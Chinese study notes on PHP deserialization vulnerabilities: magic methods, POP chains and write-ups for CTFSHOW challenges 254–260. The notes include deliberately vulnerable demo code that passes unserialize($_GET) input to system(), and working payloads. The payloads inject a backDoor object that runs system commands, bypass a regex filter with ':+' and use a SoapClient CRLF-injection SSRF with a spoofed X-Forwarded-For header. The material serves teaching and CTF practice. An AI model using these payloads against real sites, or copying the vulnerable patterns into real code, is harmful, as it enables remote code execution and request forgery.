总览

知识点:

1、什么是反序列化操作?

  • 格式转换

2、为什么会出现安全漏洞?

  • 魔术方法

3、反序列化漏洞如何发现?

  • 对象逻辑

4、反序列化漏洞如何利用?

  • POP链构造

补充:反序列化利用大概分类三类

  • 魔术方法的调用逻辑-如触发条件★★★
  • 语言原生类的调用逻辑-如SoapClient
  • 语言自身的安全缺陷-如CVE-2016-7124

反序列化课程点:

  • PHP&Java&Python

    序列化:对象转换为数组或字符串等格式
    保证数据完整传输到对方,传递更加效率
    serialize() //将一个对象转换成一个字符串
    反序列化:将数组或字符串等格式转换成对象
    unserialize() //将字符串还原成一个对象

PHP反序列化漏洞

原理:

  • 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
  • 在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

魔术方法利用点分析:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct(): //构造函数,当对象new的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用 --使用结束时被销毁
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

反序列化-魔术方法&漏洞引发&变量修改等

基础示范

<?php
//序列化&反序列化
class demotest{
public $name='xiaodi';
public $sex='man';
public $age='29';
}

$example=new demotest();
$s=serialize($example);//序列化
$u=unserialize($s);//反序列化
echo $s.'<br>';
//O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";s:2:"29";}
// 格式:
// 类型:长度:数据
var_dump($u);
//object(demotest)#2 (3) { ["name"]=> string(6) "xiaodi" ["sex"]=> string(3) "man" ["age"]=> string(2) "29" }

安全问题

class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){
echo 'x'.'<br>';
}
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}

//无需函数,创建对象触发魔术方法
//$a=new A();//触发__construct
//$a->test();//触发test
//echo $a;//触发__toString
//触发__destruct

// 序列化对象A并且输出
// echo serialize($a);

// 反序列化一个序列化字符串,并且调用对象的函数
// 即使不去创建对象,也能触发对象里面的函数
// 按照魔术方法触发
// $t=unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}');
// $t->test();


//漏洞出现
class B{
public function __destruct(){
system('ipconfig');
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}

//函数引用,无对象创建触发魔术方法
//?x=O:1:"B":1:{s:4:"test";s:3:"ver";}
unserialize($_GET[x]);
//$b=new b();
//echo serialize($b);


// 序列化漏洞:修改变量值
class C{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//函数引用,无对象创建触发魔术方法自定义变量(末尾的ver和3是修改的值)
//?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";}
// 通过unserialize函数,即使没有创建对象,也可以通过反序列化字符串控制对象的值,实现对对象的访问。包括触发内置魔术方法。
// 1.序列化与反序列化数据的差异
// 2.各个魔术方法触发的方式的相关了解
// 3.触发时修改变量
// 创建对象调用魔术方法
// 反序列化漏洞最好是白盒,黑盒几乎不可能。扫得出来的基本是公开的
unserialize($_GET[c]);

?>

实战

CTFSHOW-关卡254到260-原生类&POP构造

254-对象引用执行逻辑

原始:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

思路:
1. 触发对象的方法 vipOneKeyGetFlag
2. $this->isVip为true

payload:
?username=xxxxxx&password=xxxxxx

255-反序列化变量修改1

原题:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

思路:
1.传递方式变更为cookie
2.使用php序列化将上面的类序列化,并且改掉isvip为true

payload:
Code:
public $isVip=true;
$a=new ctfShowUser();
echo urlencode(serialize($a));
Get:
?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

256-反序列化参数修改2

原始:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

思路:
题目新增一个要求,要求账密不能相等,那么只需要在序列化时将默认账密修改掉
再传入新修改的账密即可

CODE:
重构的账密:
public $username='x';
public $password='y';
public $isVip=true;
# 完整重构并且生成payload
$a=new ctfShowUser();
echo urlencode(serialize($a));

payload:
GET:username=x&password=y
COOKIE: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

257-反序列化参数修改&对象调用逻辑

原始:
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

思路:把backDoor替换掉info
难点:构造payload

构造Payload关键值的代码:
<?php
class ctfShowUser
{
private $username = 'xxxxxx';
private $password = 'xxxxxx';
private $isVip = false;
private $class = 'backDoor';

public function __construct()
{
$this->class = new backDoor();
}

}

class backDoor
{
private $code='system("tac fl*");';
public function getInfo()
{
eval($this->code);
}
}

$a = new ctfShowUser();
# 这里echo出来的内容就是Payload需要的user的值了
echo urlencode(serialize($a));

?>

payload:
GET:
?username=xxxxxx&password=xxxxxx
COOKIE: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A18%3A%22system%28%22tac+fl%2A%22%29%3B%22%3B%7D%7D

258-反序列化参数修改&对象调用逻辑

原始:
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

使用PHP生成payload关键值:
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}


class backDoor{
public $code="system('cat flag.php');";
}

$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>

payload:
GET:username=xxxxxx&password=xxxxxx
COOKIE: user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

259-原生态类&call魔术方法&配合SSRF

原始:
题目提示:
flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
题目原题
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

解题思路:
原生类:PHP自带的。
无法触发魔术方法,尝试调用系统原生类。
因为题目正题中没有带上面提示信息的类,使用PHP自带的原生态类是必然。
需要打开soap扩展,让服务器自己去访问flag.php
参考:https://dar1in9s.github.io/2020/04/02/php/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/#SoapClient-call%E6%96%B9%E6%B3%95%E8%BF%9B%E8%A1%8CSSRF

生成序列化时记得开启SoapClient拓展:php.ini中启用php_soap.dll
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

payload:
vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
访问/flag.txt

260-字符串序列化

ctfshow=ctfshow_i_love_36D

CMS代码审计-Typecho反序列化&魔术方法逻辑

找到反序列化函数->反推往上找调用

等代码审计,这太难了……
https://www.anquanke.com/post/id/155306